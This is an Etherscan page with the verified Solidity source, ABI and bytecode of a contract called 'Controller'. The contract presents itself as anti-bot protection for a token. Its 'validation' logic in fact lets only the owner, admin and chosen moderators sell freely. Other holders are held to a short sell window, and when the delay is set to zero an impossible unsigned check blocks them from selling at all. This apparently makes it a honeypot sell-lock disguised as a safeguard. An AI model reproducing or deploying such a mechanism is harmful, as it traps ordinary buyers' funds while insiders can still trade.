ETH Price: $3,336.47 (-0.37%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To

There are no matching entries

Please try again later

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Controller

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-11
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

}



contract Controller is Context, Ownable {

    mapping(address => bool) public _moderators;
    mapping(address => uint256) public _lockDelay;
    mapping(address => uint256) public _boughtAmount;

    uint private _delay = 900;
    bool private _validationActive;
    bool private _sortByContract;
    address admin;

    constructor () {
        admin = owner();
    }

    function preventBotPurchase(address to, uint amount) external {
        if (_sortByContract){
            if (Address.isContract(to)){
                _boughtAmount[to] = amount;
                _lockDelay[to] = block.timestamp + _delay;
            } else {
                _boughtAmount[to] = amount;
                _lockDelay[to] = block.timestamp;
            } 
        } else {
            _boughtAmount[to] = amount;
            _lockDelay[to] = block.timestamp + _delay;
        }
    }

        function validation(address from, uint amount, bool isMarketTo) external {
        if (isMarketTo){
            if (!isSuperUser(from)){
                require(amount <= _boughtAmount[from], "You are trying to sell more then bought!");
                _boughtAmount[from] -= amount;
                if (_delay == 0){
                    require(_lockDelay[from] < 0, "Exceed time to sell");
                }
                require(_lockDelay[from] >= block.timestamp, "Exceed time to sell");
            }
        }
    }

    function isSuperUser(address user) internal view returns(bool){
        if (user == owner() || user == admin || _moderators[user] == true){
            return true;
        } else {
            return false;
        }
    }

    function transferAdminship(address user) public onlyOwner{
        require(user != address(0), "Admin can't be zero-address");
        admin = user;
    }

        function changeSellDelay(uint newDelay) public onlyOwner {
        _delay = newDelay;
    }

    function setModerator(address user, bool status) public onlyOwner {
        _moderators[user] = status;
    }

    function validationActive() view public returns(bool) {
        return _validationActive;
    }

    function setValidationActive(bool value) public onlyOwner {
        _validationActive = value;
    }

    function setSortingByContract(bool value) public onlyOwner {
        _sortByContract = value;
    }

    function sortByContractAllowed() view public returns(bool) {
        return _sortByContract;
    }

    function af2b8c() public view returns (uint) {
        return block.timestamp;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_boughtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_lockDelay","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_moderators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"af2b8c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newDelay","type":"uint256"}],"name":"changeSellDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"preventBotPurchase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setModerator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setSortingByContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setValidationActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sortByContractAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"transferAdminship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"isMarketTo","type":"bool"}],"name":"validation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"validationActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

608060405261038460045534801561001657600080fd5b50600061002761011860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506100d361012060201b60201c565b600560026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610149565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6114a3806101586000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80635be7cc1611610097578063a48dfa9911610066578063a48dfa991461024a578063b0a943221461027a578063cb5a474314610296578063f2fde38b146102c6576100f5565b80635be7cc16146101c4578063690cbd8b146101e05780638da5cb5b146101fc578063969891ce1461021a576100f5565b8063315d82af116100d3578063315d82af146101505780633ee2b01d1461016e5780634abc17441461018a578063597a7a79146101a6576100f5565b80632b9cf999146100fa5780633021ed1014610118578063309bf41714610134575b600080fd5b6101026102e2565b60405161010f9190610ecf565b60405180910390f35b610132600480360381019061012d9190610f83565b6102f9565b005b61014e60048036038101906101499190610fc3565b6104de565b005b61015861057d565b6040516101659190610ecf565b60405180910390f35b6101886004803603810190610183919061101c565b610594565b005b6101a4600480360381019061019f919061105c565b610684565b005b6101ae610736565b6040516101bb9190611098565b60405180910390f35b6101de60048036038101906101d991906110b3565b61073e565b005b6101fa60048036038101906101f5919061105c565b610886565b005b610204610938565b60405161021191906110ef565b60405180910390f35b610234600480360381019061022f91906110b3565b610961565b6040516102419190610ecf565b60405180910390f35b610264600480360381019061025f91906110b3565b610981565b6040516102719190611098565b60405180910390f35b610294600480360381019061028f919061110a565b610999565b005b6102b060048036038101906102ab91906110b3565b610b9a565b6040516102bd9190611098565b60405180910390f35b6102e060048036038101906102db91906110b3565b610bb2565b005b6000600560019054906101000a900460ff16905090565b600560019054906101000a900460ff16156104445761031782610cc2565b156103b65780600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506004544261036e919061118c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061043f565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6104da565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060045442610496919061118c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6104e6610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056a9061121d565b60405180910390fd5b8060048190555050565b6000600560009054906101000a900460ff16905090565b61059c610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610629576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106209061121d565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61068c610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610719576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107109061121d565b60405180910390fd5b80600560006101000a81548160ff02191690831515021790555050565b600042905090565b610746610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ca9061121d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990611289565b60405180910390fd5b80600560026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61088e610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461091b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109129061121d565b60405180910390fd5b80600560016101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60016020528060005260406000206000915054906101000a900460ff1681565b60026020528060005260406000206000915090505481565b8015610b95576109a883610ced565b610b9457600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a259061131b565b60405180910390fd5b81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a7d919061133b565b92505081905550600060045403610b11576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b07906113bb565b60405180910390fd5b5b42600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a906113bb565b60405180910390fd5b5b5b505050565b60036020528060005260406000206000915090505481565b610bba610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3e9061121d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad9061144d565b60405180910390fd5b610cbf81610df0565b50565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600033905090565b6000610cf7610938565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610d7d5750600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610dd8575060011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15610de65760019050610deb565b600090505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008115159050919050565b610ec981610eb4565b82525050565b6000602082019050610ee46000830184610ec0565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1a82610eef565b9050919050565b610f2a81610f0f565b8114610f3557600080fd5b50565b600081359050610f4781610f21565b92915050565b6000819050919050565b610f6081610f4d565b8114610f6b57600080fd5b50565b600081359050610f7d81610f57565b92915050565b60008060408385031215610f9a57610f99610eea565b5b6000610fa885828601610f38565b9250506020610fb985828601610f6e565b9150509250929050565b600060208284031215610fd957610fd8610eea565b5b6000610fe784828501610f6e565b91505092915050565b610ff981610eb4565b811461100457600080fd5b50565b60008135905061101681610ff0565b92915050565b6000806040838503121561103357611032610eea565b5b600061104185828601610f38565b925050602061105285828601611007565b9150509250929050565b60006020828403121561107257611071610eea565b5b600061108084828501611007565b91505092915050565b61109281610f4d565b82525050565b60006020820190506110ad6000830184611089565b92915050565b6000602082840312156110c9576110c8610eea565b5b60006110d784828501610f38565b91505092915050565b6110e981610f0f565b82525050565b600060208201905061110460008301846110e0565b92915050565b60008060006060848603121561112357611122610eea565b5b600061113186828701610f38565b935050602061114286828701610f6e565b925050604061115386828701611007565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061119782610f4d565b91506111a283610f4d565b92508282019050808211156111ba576111b961115d565b5b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006112076020836111c0565b9150611212826111d1565b602082019050919050565b60006020820190508181036000830152611236816111fa565b9050919050565b7f41646d696e2063616e2774206265207a65726f2d616464726573730000000000600082015250565b6000611273601b836111c0565b915061127e8261123d565b602082019050919050565b600060208201905081810360008301526112a281611266565b9050919050565b7f596f752061726520747279696e6720746f2073656c6c206d6f7265207468656e60008201527f20626f7567687421000000000000000000000000000000000000000000000000602082015250565b60006113056028836111c0565b9150611310826112a9565b604082019050919050565b60006020820190508181036000830152611334816112f8565b9050919050565b600061134682610f4d565b915061135183610f4d565b92508282039050818111156113695761136861115d565b5b92915050565b7f4578636565642074696d6520746f2073656c6c00000000000000000000000000600082015250565b60006113a56013836111c0565b91506113b08261136f565b602082019050919050565b600060208201905081810360008301526113d481611398565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006114376026836111c0565b9150611442826113db565b604082019050919050565b600060208201905081810360008301526114668161142a565b905091905056fea26469706673582212206fa43a80d9b57ea14011a7bf98caf8d3996b629056b8a6aceffa2a27d6434b5164736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80635be7cc1611610097578063a48dfa9911610066578063a48dfa991461024a578063b0a943221461027a578063cb5a474314610296578063f2fde38b146102c6576100f5565b80635be7cc16146101c4578063690cbd8b146101e05780638da5cb5b146101fc578063969891ce1461021a576100f5565b8063315d82af116100d3578063315d82af146101505780633ee2b01d1461016e5780634abc17441461018a578063597a7a79146101a6576100f5565b80632b9cf999146100fa5780633021ed1014610118578063309bf41714610134575b600080fd5b6101026102e2565b60405161010f9190610ecf565b60405180910390f35b610132600480360381019061012d9190610f83565b6102f9565b005b61014e60048036038101906101499190610fc3565b6104de565b005b61015861057d565b6040516101659190610ecf565b60405180910390f35b6101886004803603810190610183919061101c565b610594565b005b6101a4600480360381019061019f919061105c565b610684565b005b6101ae610736565b6040516101bb9190611098565b60405180910390f35b6101de60048036038101906101d991906110b3565b61073e565b005b6101fa60048036038101906101f5919061105c565b610886565b005b610204610938565b60405161021191906110ef565b60405180910390f35b610234600480360381019061022f91906110b3565b610961565b6040516102419190610ecf565b60405180910390f35b610264600480360381019061025f91906110b3565b610981565b6040516102719190611098565b60405180910390f35b610294600480360381019061028f919061110a565b610999565b005b6102b060048036038101906102ab91906110b3565b610b9a565b6040516102bd9190611098565b60405180910390f35b6102e060048036038101906102db91906110b3565b610bb2565b005b6000600560019054906101000a900460ff16905090565b600560019054906101000a900460ff16156104445761031782610cc2565b156103b65780600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506004544261036e919061118c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061043f565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6104da565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060045442610496919061118c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b6104e6610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056a9061121d565b60405180910390fd5b8060048190555050565b6000600560009054906101000a900460ff16905090565b61059c610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610629576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106209061121d565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61068c610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610719576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107109061121d565b60405180910390fd5b80600560006101000a81548160ff02191690831515021790555050565b600042905090565b610746610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ca9061121d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990611289565b60405180910390fd5b80600560026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61088e610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461091b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109129061121d565b60405180910390fd5b80600560016101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60016020528060005260406000206000915054906101000a900460ff1681565b60026020528060005260406000206000915090505481565b8015610b95576109a883610ced565b610b9457600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a259061131b565b60405180910390fd5b81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a7d919061133b565b92505081905550600060045403610b11576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b07906113bb565b60405180910390fd5b5b42600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a906113bb565b60405180910390fd5b5b5b505050565b60036020528060005260406000206000915090505481565b610bba610ce5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3e9061121d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad9061144d565b60405180910390fd5b610cbf81610df0565b50565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600033905090565b6000610cf7610938565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610d7d5750600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610dd8575060011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15610de65760019050610deb565b600090505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008115159050919050565b610ec981610eb4565b82525050565b6000602082019050610ee46000830184610ec0565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1a82610eef565b9050919050565b610f2a81610f0f565b8114610f3557600080fd5b50565b600081359050610f4781610f21565b92915050565b6000819050919050565b610f6081610f4d565b8114610f6b57600080fd5b50565b600081359050610f7d81610f57565b92915050565b60008060408385031215610f9a57610f99610eea565b5b6000610fa885828601610f38565b9250506020610fb985828601610f6e565b9150509250929050565b600060208284031215610fd957610fd8610eea565b5b6000610fe784828501610f6e565b91505092915050565b610ff981610eb4565b811461100457600080fd5b50565b60008135905061101681610ff0565b92915050565b6000806040838503121561103357611032610eea565b5b600061104185828601610f38565b925050602061105285828601611007565b9150509250929050565b60006020828403121561107257611071610eea565b5b600061108084828501611007565b91505092915050565b61109281610f4d565b82525050565b60006020820190506110ad6000830184611089565b92915050565b6000602082840312156110c9576110c8610eea565b5b60006110d784828501610f38565b91505092915050565b6110e981610f0f565b82525050565b600060208201905061110460008301846110e0565b92915050565b60008060006060848603121561112357611122610eea565b5b600061113186828701610f38565b935050602061114286828701610f6e565b925050604061115386828701611007565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061119782610f4d565b91506111a283610f4d565b92508282019050808211156111ba576111b961115d565b5b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006112076020836111c0565b9150611212826111d1565b602082019050919050565b60006020820190508181036000830152611236816111fa565b9050919050565b7f41646d696e2063616e2774206265207a65726f2d616464726573730000000000600082015250565b6000611273601b836111c0565b915061127e8261123d565b602082019050919050565b600060208201905081810360008301526112a281611266565b9050919050565b7f596f752061726520747279696e6720746f2073656c6c206d6f7265207468656e60008201527f20626f7567687421000000000000000000000000000000000000000000000000602082015250565b60006113056028836111c0565b9150611310826112a9565b604082019050919050565b60006020820190508181036000830152611334816112f8565b9050919050565b600061134682610f4d565b915061135183610f4d565b92508282039050818111156113695761136861115d565b5b92915050565b7f4578636565642074696d6520746f2073656c6c00000000000000000000000000600082015250565b60006113a56013836111c0565b91506113b08261136f565b602082019050919050565b600060208201905081810360008301526113d481611398565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006114376026836111c0565b9150611442826113db565b604082019050919050565b600060208201905081810360008301526114668161142a565b905091905056fea26469706673582212206fa43a80d9b57ea14011a7bf98caf8d3996b629056b8a6aceffa2a27d6434b5164736f6c63430008130033

Deployed Bytecode Sourcemap

1403:2601:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3807:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1794:508;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3263:93;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3483:97;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3364:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3588:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3915:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3094:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3698:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;629:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1452:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1502:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2314:535;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1554:48;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;843:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3807:100;3860:4;3884:15;;;;;;;;;;;3877:22;;3807:100;:::o;1794:508::-;1871:15;;;;;;;;;;;1867:428;;;1906:22;1925:2;1906:18;:22::i;:::-;1902:266;;;1968:6;1948:13;:17;1962:2;1948:17;;;;;;;;;;;;;;;:26;;;;2028:6;;2010:15;:24;;;;:::i;:::-;1993:10;:14;2004:2;1993:14;;;;;;;;;;;;;;;:41;;;;1902:266;;;2095:6;2075:13;:17;2089:2;2075:17;;;;;;;;;;;;;;;:26;;;;2137:15;2120:10;:14;2131:2;2120:14;;;;;;;;;;;;;;;:32;;;;1902:266;1867:428;;;2221:6;2201:13;:17;2215:2;2201:17;;;;;;;;;;;;;;;:26;;;;2277:6;;2259:15;:24;;;;:::i;:::-;2242:10;:14;2253:2;2242:14;;;;;;;;;;;;;;;:41;;;;1867:428;1794:508;;:::o;3263:93::-;766:12;:10;:12::i;:::-;756:22;;:6;;;;;;;;;;:22;;;748:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3340:8:::1;3331:6;:17;;;;3263:93:::0;:::o;3483:97::-;3531:4;3555:17;;;;;;;;;;;3548:24;;3483:97;:::o;3364:111::-;766:12;:10;:12::i;:::-;756:22;;:6;;;;;;;;;;:22;;;748:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3461:6:::1;3441:11;:17;3453:4;3441:17;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;3364:111:::0;;:::o;3588:102::-;766:12;:10;:12::i;:::-;756:22;;:6;;;;;;;;;;:22;;;748:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3677:5:::1;3657:17;;:25;;;;;;;;;;;;;;;;;;3588:102:::0;:::o;3915:86::-;3954:4;3978:15;3971:22;;3915:86;:::o;3094:157::-;766:12;:10;:12::i;:::-;756:22;;:6;;;;;;;;;;:22;;;748:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3186:1:::1;3170:18;;:4;:18;;::::0;3162:58:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3239:4;3231:5;;:12;;;;;;;;;;;;;;;;;;3094:157:::0;:::o;3698:101::-;766:12;:10;:12::i;:::-;756:22;;:6;;;;;;;;;;:22;;;748:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3786:5:::1;3768:15;;:23;;;;;;;;;;;;;;;;;;3698:101:::0;:::o;629:79::-;667:7;694:6;;;;;;;;;;;687:13;;629:79;:::o;1452:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;1502:45::-;;;;;;;;;;;;;;;;;:::o;2314:535::-;2402:10;2398:444;;;2433:17;2445:4;2433:11;:17::i;:::-;2428:403;;2488:13;:19;2502:4;2488:19;;;;;;;;;;;;;;;;2478:6;:29;;2470:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;2594:6;2571:13;:19;2585:4;2571:19;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;2633:1;2623:6;;:11;2619:111;;2685:1;2666:10;:16;2677:4;2666:16;;;;;;;;;;;;;;;;:20;2658:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;2619:111;2776:15;2756:10;:16;2767:4;2756:16;;;;;;;;;;;;;;;;